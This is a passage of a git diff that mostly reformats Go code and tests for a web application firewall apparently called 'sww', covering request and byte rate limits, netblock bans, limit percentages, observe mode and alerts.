http.StatusForbidden, requestlog.ActionTemporarilyBanned) - if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" { - t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+ - "want %s and neither of the others", line.BanExpires, line.Offence, - line.LimitHit, expires) + line = s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) + if line.BanExpires != expires || line.Offence != "" || + line.LimitHit != "" { + t.Errorf( + "log line has ban_expires %q, offence %q and limit_hit %q, "+ + "want %s and neither of the others", + line.BanExpires, + line.Offence, + line.LimitHit, + expires, + ) } // Once it ends, the client is let through. @@ -78,7 +101,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) { breakLimit := func() string { s.get(client, http.StatusOK, requestlog.ActionForward) - line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) return line.BanExpires } @@ -119,7 +146,11 @@ func TestBanLengthsFollowTheSettings(t *testing.T) { func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { t.Parallel() - s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"}) + s, clk, server := startWithClock( + t, + "", + map[string]string{rateLimitPerDay: "2"}, + ) // The third request in a day is over the limit of two, and bans the // client for an hour. @@ -128,7 +159,11 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) for range 3 { - s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) } // Later the same day the client has its whole allowance again: the @@ -141,7 +176,10 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) if len(banned) != 2 || banned[0].Notes.Refused != 3 { - t.Errorf("bans %+v, want two, the first with 3 requests refused", banned) + t.Errorf( + "bans %+v, want two, the first with 3 requests refused", + banned, + ) } } @@ -192,10 +230,18 @@ func TestBanCoversTheClientsNetblock(t *testing.T) { s, _, _ := startWithClock(t, "", env) s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) - s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.get( + tc.breaker, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) for _, sent := range tc.refused { - s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + sent, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) } for _, sent := range tc.let { @@ -220,7 +266,11 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) { s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) - line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + line := s.get( + otherClient, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) if line.Country != "" { t.Errorf("log line has country %q, want none", line.Country) } @@ -241,7 +291,11 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) { s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) - line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + line := s.get( + otherClient, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) wantHeuristic(t, line, "active_ban", `{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`) } @@ -347,8 +401,12 @@ func TestBanNotes(t *testing.T) { s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) got = ledger.Bans(netblock) - if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got) + if len(got) != 2 || + got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { + t.Errorf( + "bans %+v, want two, the second with one earlier ban for a limit", + got, + ) } } @@ -364,10 +422,18 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) { s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(otherClient, http.StatusOK, requestlog.ActionForward) - s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.get( + otherClient, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) s.get(client, http.StatusOK, requestlog.ActionForward) - s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + otherClient, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) } // clock is the time a test sets, by which sww counts requests and @@ -408,9 +474,20 @@ func startWithClock( settings := map[string]string{trustedProxies: trustLocalhost} maps.Copy(settings, env) - addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings) + addr, out, server := startProxyWithClock( + t, + app.URL, + geojsURL, + clk.Now, + settings, + ) - return &sender{t: t, addr: addr, wafAddr: server.Addr, out: out}, clk, server + return &sender{ + t: t, + addr: addr, + wafAddr: server.Addr, + out: out, + }, clk, server } // sender sends requests to rproxy one after another, each on a connection of its @@ -437,7 +514,11 @@ func (s *sender) get(from string, status int, action string) logLine { // X-Forwarded-For names it, and checks that its answer and its log line // have status, 0 for the connection closed without an answer, and that // the line has action. It returns the log line. -func (s *sender) request(from, path string, status int, action string) logLine { +func (s *sender) request( + from, path string, + status int, + action string, +) logLine { s.t.Helper() return s.requestWithHeader(from, path, "", status, action) @@ -450,7 +531,15 @@ func (s *sender) requestWithHeader( ) logLine { s.t.Helper() - line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action) + line, _ := s.requestWithBody( + http.MethodGet, + from, + path, + header, + "", + status, + action, + ) return line } diff --git a/internal/waf/biased.go b/internal/waf/biased.go index 5df6418..35a406c 100644 --- a/internal/waf/biased.go +++ b/internal/waf/biased.go @@ -22,8 +22,10 @@ type percentage struct { // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is // then needed before its request goes on. func biasedThresholdsSet(cfg *config.Config) bool { - return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 || - cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != "" + return len(cfg.ASNBytesPercent) > 0 || + len(cfg.CountryBytesPercent) > 0 || + cfg.UnknownLimitPercent < whole || + cfg.ASNLimitPercentURL != "" } // limitPercentages returns the client's limit percentages, for the rate @@ -48,7 +50,10 @@ func (rq *request) limitPercentages() (percentage, percentage) { unknown := percentage{percent: whole} if country == "" && !rq.skippedLookupWait { - unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"} + unknown = percentage{ + cfg.UnknownLimitPercent, + "SWW_UNKNOWN_LIMIT_PERCENT", + } } fetched := percentage{percent: whole} @@ -58,24 +63,41 @@ func (rq *request) limitPercentages() (percentage, percentage) { blocklisted := percentage{percent: whole} if rq.blocklisted && cfg.BlocklistAction == "limit" { - blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"} + blocklisted = percentage{ + cfg.BlocklistLimitPercent, + "SWW_BLOCKLIST_ACTION", + } } reputationListed := percentage{percent: whole} - if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" { - reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"} + if (rq.dnsblListed || rq.abuseIPDBHit) && + cfg.ReputationAction == "limit" { + reputationListed = percentage{ + cfg.ReputationLimitPercent, + "SWW_REPUTATION_ACTION", + } } const tagSetting = "SWW_TAG_LIMIT_PERCENT" - asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched) - countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting) + asnRequests := lowest( + given(cfg.TagLimitPercent, asnTag(asn), tagSetting), + fetched, + ) + countryRequests := given( + cfg.TagLimitPercent, + countryTag(country), + tagSetting, + ) otherTags := percentage{percent: whole} for _, tag := range rq.line.Tags { if tag != asnTag(asn) && tag != countryTag(country) { - otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting)) + otherTags = lowest( + otherTags, + given(cfg.TagLimitPercent, tag, tagSetting), + ) } } @@ -85,12 +107,18 @@ func (rq *request) limitPercentages() (percentage, percentage) { } if _, listed := cfg.CountryBytesPercent[country]; listed { - countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT") + countryBytes = given( + cfg.CountryBytesPercent, + country, + "SWW_COUNTRY_BYTES_PERCENT", + ) } - return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted, - reputationListed), - lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed) + // The limits that lower requests and bytes alike. + common := lowest(otherTags, unknown, blocklisted, reputationListed) + + return lowest(asnRequests, countryRequests, common), + lowest(asnBytes, countryBytes, common) } // given returns the percentage percents, the setting named setting, gives diff --git a/internal/waf/biased_test.go b/internal/waf/biased_test.go index 54091bf..090ed79 100644 --- a/internal/waf/biased_test.go +++ b/internal/waf/biased_test.go @@ -86,7 +86,11 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) { // fromKP, which no setting lists, has the whole limit. for range 3 { - line := s.get(fromKP, http.StatusOK, requestlog.ActionForward) + line := s.get( + fromKP, + http.StatusOK, + requestlog.ActionForward, + ) wantPercent(t, "rate_limit_percent", line.RateLimitPercent, line.RateLimitPercentSetting, none) @@ -118,7 +122,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { // The upload's 100 bytes are over half of 199, 99. line := s.uploadFrom(tc.from) if line.LimitHit != minuteBytes { - t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) + t.Errorf( + "log line has limit_hit %q, want %s", + line.LimitHit, + minuteBytes, + ) } wantPercent(t, "bytes_limit_percent", @@ -128,7 +136,11 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { // fromKP, which no setting lists, has the whole limit. line = s.uploadFrom(fromKP) if line.LimitHit != "" { - t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit) + t.Errorf( + "log line for %s has limit_hit %q, want none", + fromKP, + line.LimitHit, + ) } wantPercent(t, "bytes_limit_percent", @@ -137,7 +149,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) { } } -func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) { +func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -178,7 +192,11 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) // The upload's 100 bytes are over 99, half of 199, and within 199. line := s.uploadFrom(fromDE) if line.LimitHit != tc.limitHit { - t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit) + t.Errorf( + "log line has limit_hit %q, want %q", + line.LimitHit, + tc.limitHit, + ) } wantPercent(t, "rate_limit_percent", @@ -194,16 +212,26 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) func TestZeroPercentIsAZeroAllowance(t *testing.T) { t.Parallel() - s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"}) + s, _, _ := startWithLookups( + t, + map[string]string{unknownLimitPercent: "0"}, + ) // The first request breaks the limit, and bans the client; the log line // gives the 0. - line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + line := s.get( + unplaced, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) if line.fields["rate_limit_percent"] != float64(0) || line.fields["rate_limit_percent_setting"] != unknownLimitPercent { - t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s", - line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"], - unknownLimitPercent) + t.Errorf( + "log line has rate_limit_percent %v from %v, want 0 from %s", + line.fields["rate_limit_percent"], + line.fields["rate_limit_percent_setting"], + unknownLimitPercent, + ) } s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned) @@ -256,7 +284,11 @@ func TestLowestPercentageApplies(t *testing.T) { // A quarter of 4 requests a minute: the second breaks the limit. s.get(tc.from, http.StatusOK, requestlog.ActionForward) - line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + line := s.get( + tc.from, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) wantPercent(t, "rate_limit_percent", line.RateLimitPercent, line.RateLimitPercentSetting, tc.want) @@ -264,7 +296,9 @@ func TestLowestPercentageApplies(t *testing.T) { } } -func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) { +func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( + t *testing.T, +) { t.Parallel() s, _, _ := startWithLookups(t, map[string]string{ @@ -276,7 +310,11 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *test for _, from := range []string{unplaced, "10.0.0.8"} { s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward) - s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + s.get( + from, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) } // One in a country has the whole limit. @@ -300,7 +338,12 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) { serveFromDE(t, server, http.MethodGet, http.NoBody) line := out.requestLine(t) - wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited) + wantLine( + t, + line, + http.StatusForbidden, + requestlog.ActionClientIsRateLimited, + ) wantPercent(t, "rate_limit_percent", line.RateLimitPercent, line.RateLimitPercentSetting, "0 from "+unknownLimitPercent) @@ -341,7 +384,12 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { }) began := time.Now() - serveFromDE(t, server, http.MethodPost, strings.NewReader("ab")) + serveFromDE( + t, + server, + http.MethodPost, + strings.NewReader("ab"), + ) want := time.Duration(0) if tc.waits { @@ -349,10 +397,19 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { } if waited := time.Since(began); waited != want { - t.Errorf("the request waited %s for its answer, want %s", waited, want) + t.Errorf( + "the request waited %s for its answer, want %s", + waited, + want, + ) } - wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward) + wantLine( + t, + out.requestLine(t), + http.StatusOK, + requestlog.ActionForward, + ) // The bubble's clock stops once this function returns, so the // request to GeoJS, which a request that did not wait leaves @@ -363,7 +420,9 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) { } } -func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) { +func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert( + t *testing.T, +) { t.Parallel() for _, tc := range []struct { @@ -405,8 +464,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T s.uploadFrom(fromDE) } - s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody, - tc.status, tc.action) + s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, + uploadBody, tc.status, tc.action) held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) if len(held) != 1 { @@ -415,7 +474,11 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T notes := held[0].Notes if held[0].Reason != tc.reason { - t.Errorf("the ban's reason is %q, want %q", held[0].Reason, tc.reason) + t.Errorf( + "the ban's reason is %q, want %q", + held[0].Reason, + tc.reason, + ) } wantPercent(t, "the notes' limit_percent", notes.LimitPercent, @@ -423,12 +486,21 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] if len(waiting) != 1 { - t.Fatalf("%d alerts wait, want the ban's alone: %+v", len(waiting), waiting) + t.Fatalf( + "%d alerts wait, want the ban's alone: %+v", + len(waiting), + waiting, + ) } alerted, _ := waiting[0].Detail["notes"].(bans.Notes) - wantPercent(t, "the alert's notes' limit_percent", alerted.LimitPercent, - alerted.LimitPercentSetting, tc.want) + wantPercent( + t, + "the alert's notes' limit_percent", + alerted.LimitPercent, + alerted.LimitPercentSetting, + tc.want, + ) }) } } @@ -462,7 +534,10 @@ func startWithLookupsAndClock( noCountry + "/32": {ASN: "AS64500", ASName: "Nowhere Net"}, }) - settings := map[string]string{lookupSource: fileSource, lookupDBPath: path} + settings := map[string]string{ + lookupSource: fileSource, + lookupDBPath: path, + } maps.Copy(settings, env) return startAppWithAlerts(t, readAndAnswer, settings) @@ -472,8 +547,15 @@ func startWithLookupsAndClock( func (s *sender) uploadFrom(from string) logLine { s.t.Helper() - line, _ := s.requestWithBody(http.MethodPost, from, "/", uploadHeader, uploadBody, - http.StatusOK, requestlog.ActionForward) + line, _ := s.requestWithBody( + http.MethodPost, + from, + "/", + uploadHeader, + uploadBody, + http.StatusOK, + requestlog.ActionForward, + ) return line } @@ -496,7 +578,12 @@ func serveFromDE( // wantPercent checks a limit percentage that a log line or a ban's notes // give, what, and the setting that gave it, against want, as percentText // gives them. -func wantPercent(t *testing.T, what string, percent *int64, setting, want string) { +func wantPercent( + t *testing.T, + what string, + percent *int64, + setting, want string, +) { t.Helper() if got := percentText(percent, setting); got != want { diff --git a/internal/waf/blocklists.go b/internal/waf/blocklists.go index 608fde6..0133014 100644 --- a/internal/waf/blocklists.go +++ b/internal/waf/blocklists.go @@ -18,7 +18,11 @@ type blocklists struct{} func (blocklists) name() string { return "blocklists" } -func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict { +func (blocklists) check( + _ context.Context, + rq *request, + _ time.Time, +) *verdict { listedBy := rq.h.lists.ListedBy(rq.client) rq.blocklisted = len(listedBy) > 0 rq.noteListed(listedBy, "listed by a blocklist") diff --git a/internal/waf/bytelimits.go b/internal/waf/bytelimits.go index c665538..b112b54 100644 --- a/internal/waf/bytelimits.go +++ b/internal/waf/bytelimits.go @@ -20,13 +20,21 @@ type byteLimits struct{} func (byteLimits) name() string { return "byte_limits" } -func (byteLimits) check(_ context.Context, rq *request, now time.Time) *verdict { +func (byteLimits) check( + _ context.Context, + rq *request, + now time.Time, +) *verdict { if !rq.counted || rq.line.WouldAction != "" { return nil } - counts, hit, over := rq.h.limiter.CountBytes(rq.h.clientGroup(rq.client), now, - rq.countedBytes(), rq.bytesLimitPercent.percent) + counts, hit, over := rq.h.limiter.CountBytes( + rq.h.clientGroup(rq.client), + now, + rq.countedBytes(), + rq.bytesLimitPercent.percent, + ) rq.line.Counts.MinuteBytes = counts.MinuteBytes rq.line.Counts.HourBytes = counts.HourBytes rq.line.Counts.DayBytes = counts.DayBytes diff --git a/internal/waf/bytelimits_test.go b/internal/waf/bytelimits_test.go index 2b4b56b..da3a239 100644 --- a/internal/waf/bytelimits_test.go +++ b/internal/waf/bytelimits_test.go @@ -67,8 +67,11 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) { // 70 bytes are within the limit of 99. line, _ := s.download() if line.LimitHit != "" || line.Offence != "" { - t.Errorf("log line has limit_hit %q and offence %q, want neither", - line.LimitHit, line.Offence) + t.Errorf( + "log line has limit_hit %q and offence %q, want neither", + line.LimitHit, + line.Offence, + ) } // 140 bytes are over it. The response is passed on whole, and @@ -79,18 +82,35 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) { line, got := s.download() if got.err != nil || len(got.body) != answerBytes || line.ResponseBytes != answerBytes { - t.Errorf("got %d bytes (%v), and the log line has response_bytes %d, "+ - "want %d", len(got.body), got.err, line.ResponseBytes, answerBytes) + t.Errorf( + "got %d bytes (%v), and the log line has response_bytes %d, "+ + "want %d", + len(got.body), + got.err, + line.ResponseBytes, + answerBytes, + ) } - if line.LimitHit != tc.window+"_bytes" || line.Offence != requestlog.OffenceLimit || + if line.LimitHit != tc.window+"_bytes" || + line.Offence != requestlog.OffenceLimit || line.BanExpires != expires { - t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ - "want %s_bytes, limit and %s", line.LimitHit, line.Offence, - line.BanExpires, tc.window, expires) + t.Errorf( + "log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want %s_bytes, limit and %s", + line.LimitHit, + line.Offence, + line.BanExpires, + tc.window, + expires, + ) } - s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) wantMetric(t, s.scrape(), `sww_rate_limit_hits_total{`+ `instance="`+alertInstance+`",kind="bytes",window="`+tc.window+`"}`, 1) @@ -101,7 +121,10 @@ func TestEachByteLimitBansOnceTheResponseHasEnded(t *testing.T) { func TestByteLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) { t.Parallel() - s, _ := startWithAnswers(t, map[string]string{bytesLimitPerMinute: byteLimit}) + s, _ := startWithAnswers( + t, + map[string]string{bytesLimitPerMinute: byteLimit}, + ) line, _ := s.download() wantAfterAnswerHeuristic(t, line, "", "null") @@ -120,9 +143,16 @@ func TestResponseOverAByteLimitByItselfIsPassedOnWhole(t *testing.T) { // The answer's 70 bytes are over the limit of 50 on their own. line, got := s.download() - if got.err != nil || len(got.body) != answerBytes || line.LimitHit != minuteBytes { - t.Errorf("got %d bytes (%v), and the log line has limit_hit %q, want %d and %s", - len(got.body), got.err, line.LimitHit, answerBytes, minuteBytes) + if got.err != nil || len(got.body) != answerBytes || + line.LimitHit != minuteBytes { + t.Errorf( + "got %d bytes (%v), and the log line has limit_hit %q, want %d and %s", + len(got.body), + got.err, + line.LimitHit, + answerBytes, + minuteBytes, + ) } s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) @@ -138,13 +168,27 @@ func TestBytesOfAnAnswerThatBreaksOffAreCounted(t *testing.T) { // The 70 bytes passed on before the app broke off are over the limit of // 50, and ban the client for an hour. - line, got := s.requestWithBody(http.MethodGet, client, "/", "", "", http.StatusOK, - requestlog.ActionForward) + line, got := s.requestWithBody( + http.MethodGet, + client, + "/", + "", + "", + http.StatusOK, + requestlog.ActionForward, + ) if len(got.body) != answerBytes || line.LimitHit != minuteBytes || line.BanExpires != expires { - t.Errorf("got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ - "want %d, %s and %s", len(got.body), line.LimitHit, line.BanExpires, - answerBytes, minuteBytes, expires) + t.Errorf( + "got %d bytes, and the log line has limit_hit %q and ban_expires %q, "+ + "want %d, %s and %s", + len(got.body), + line.LimitHit, + line.BanExpires, + answerBytes, + minuteBytes, + expires, + ) } s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) @@ -164,19 +208,33 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) { t.Run(tc.setting, func(t *testing.T) { t.Parallel() - s, _, _, _ := startAppWithAlerts(t, answerAfterUpgrade, map[string]string{ - bytesLimitPerMinute: "29", bytesCount: tc.setting, - }) + s, _, _, _ := startAppWithAlerts( + t, + answerAfterUpgrade, + map[string]string{ + bytesLimitPerMinute: "29", bytesCount: tc.setting, + }, + ) // The client sends 30 bytes and the app 70, each over the limit // of 29, which bans the client once the WebSocket has closed. line := s.webSocket() - if line.LimitHit != minuteBytes || line.Counts.MinuteBytes != tc.counted { - t.Errorf("log line has limit_hit %q and minute_bytes %v, want %s and %v", - line.LimitHit, line.Counts.MinuteBytes, minuteBytes, tc.counted) + if line.LimitHit != minuteBytes || + line.Counts.MinuteBytes != tc.counted { + t.Errorf( + "log line has limit_hit %q and minute_bytes %v, want %s and %v", + line.LimitHit, + line.Counts.MinuteBytes, + minuteBytes, + tc.counted, + ) } - s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) }) } } @@ -211,14 +269,25 @@ func TestBytesCountSaysWhichBytesCount(t *testing.T) { } counted := float64(i) * tc.each - if line.LimitHit != want || line.Counts.MinuteBytes != counted { - t.Errorf("request %d: log line has limit_hit %q and minute_bytes %v, "+ - "want %q and %v", i, line.LimitHit, line.Counts.MinuteBytes, - want, counted) + if line.LimitHit != want || + line.Counts.MinuteBytes != counted { + t.Errorf( + "request %d: log line has limit_hit %q and minute_bytes %v, "+ + "want %q and %v", + i, + line.LimitHit, + line.Counts.MinuteBytes, + want, + counted, + ) } } - s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) }) } } @@ -243,11 +312,24 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) { {allowed, "/"}, {exempt, "/"}, {client, "/assets/app.js"}, } { for range 2 { - line, _ := s.requestWithBody(http.MethodPost, sent.from, sent.path, - uploadHeader, uploadBody, http.StatusOK, requestlog.ActionForward) - if _, counted := line.fields["counts"]; counted || line.LimitHit != "" { - t.Errorf("%s %s: log line has counts %v and limit_hit %q, want neither", - sent.from, sent.path, line.fields["counts"], line.LimitHit) + line, _ := s.requestWithBody( + http.MethodPost, + sent.from, + sent.path, + uploadHeader, + uploadBody, + http.StatusOK, + requestlog.ActionForward, + ) + if _, counted := line.fields["counts"]; counted || + line.LimitHit != "" { + t.Errorf( + "%s %s: log line has counts %v and limit_hit %q, want neither", + sent.from, + sent.path, + line.fields["counts"], + line.LimitHit, + ) } } } @@ -255,7 +337,11 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) { // A path that is not exempt is counted, and breaks the limit. line := s.upload() if line.LimitHit != minuteBytes { - t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes) + t.Errorf( + "log line has limit_hit %q, want %s", + line.LimitHit, + minuteBytes, + ) } } @@ -272,9 +358,14 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { counted := float64(i * (bodyBytes + answerBytes)) if line.LimitHit != "" || line.Counts.MinuteBytes != counted || line.Counts.HourBytes != counted || line.Counts.DayBytes != counted { - t.Errorf("request %d: log line has limit_hit %q and counts %+v, "+ - "want none and %v bytes in each window", i, line.LimitHit, - line.Counts, counted) + t.Errorf( + "request %d: log line has limit_hit %q and counts %+v, "+ + "want none and %v bytes in each window", + i, + line.LimitHit, + line.Counts, + counted, + ) } } } @@ -282,13 +373,24 @@ func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) { func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { t.Parallel() - s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ - bytesLimitPerMinute: byteLimit, - }) + s, clk, server, queue := startAppWithAlerts( + t, + readAndAnswer, + map[string]string{ + bytesLimitPerMinute: byteLimit, + }, + ) start := clk.Now() - s.requestWithBody(http.MethodPost, client, "/upload?part=1", uploadHeader, - uploadBody, http.StatusOK, requestlog.ActionForward) + s.requestWithBody( + http.MethodPost, + client, + "/upload?part=1", + uploadHeader, + uploadBody, + http.StatusOK, + requestlog.ActionForward, + ) netblock := netip.MustParsePrefix(client + "/32") want := bans.Ban{ @@ -331,10 +433,14 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) { func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { t.Parallel() - s, clk, server, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ - mode: observe, - bytesLimitPerMinute: byteLimit, - }) + s, clk, server, queue := startAppWithAlerts( + t, + readAndAnswer, + map[string]string{ + mode: observe, + bytesLimitPerMinute: byteLimit, + }, + ) start := clk.Now() // No ban sets the client's counters back to zero, so each request @@ -344,11 +450,17 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { line := s.upload() wantWouldAction(t, line, "") - if line.LimitHit != minuteBytes || line.Offence != requestlog.OffenceLimit || + if line.LimitHit != minuteBytes || + line.Offence != requestlog.OffenceLimit || line.BanExpires != "" { - t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+ - "want %s, limit and none", line.LimitHit, line.Offence, line.BanExpires, - minuteBytes) + t.Errorf( + "log line has limit_hit %q, offence %q and ban_expires %q, "+ + "want %s, limit and none", + line.LimitHit, + line.Offence, + line.BanExpires, + minuteBytes, + ) } } @@ -363,14 +475,18 @@ func TestObserveModeLogsAndAlertsAByteLimitAndBansNoOne(t *testing.T) { notes, _ := waiting[0].Detail["notes"].(bans.Notes) alert := banAlert(alerts.EventBan, start, client, bans.Ban{ - Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Netblock: netip.MustParsePrefix( + client + "/32", + ), Cause: bans.CauseLimit, Reason: "bytes per minute over the limit of " + byteLimit, Notes: notes, }, requestlog.FormatTime(start.Add(time.Hour))) alert.Detail["mode"] = observe wantAlerts(t, queue, alert) } -func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) { +func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses( + t *testing.T, +) { t.Parallel() s, _ := startWithAnswers(t, map[string]string{ @@ -388,9 +504,14 @@ func TestObserveModeLeavesOutTheBytesOfARequestEnforceModeRefuses(t *testing.T) line := s.upload() wantWouldAction(t, line, requestlog.ActionClientIsRateLimited) - if line.LimitHit != minute || line.Counts.MinuteBytes != bodyBytes+answerBytes { - t.Errorf("log line has limit_hit %q and minute_bytes %v, want minute and %d", - line.LimitHit, line.Counts.MinuteBytes, bodyBytes+answerBytes) + if line.LimitHit != minute || + line.Counts.MinuteBytes != 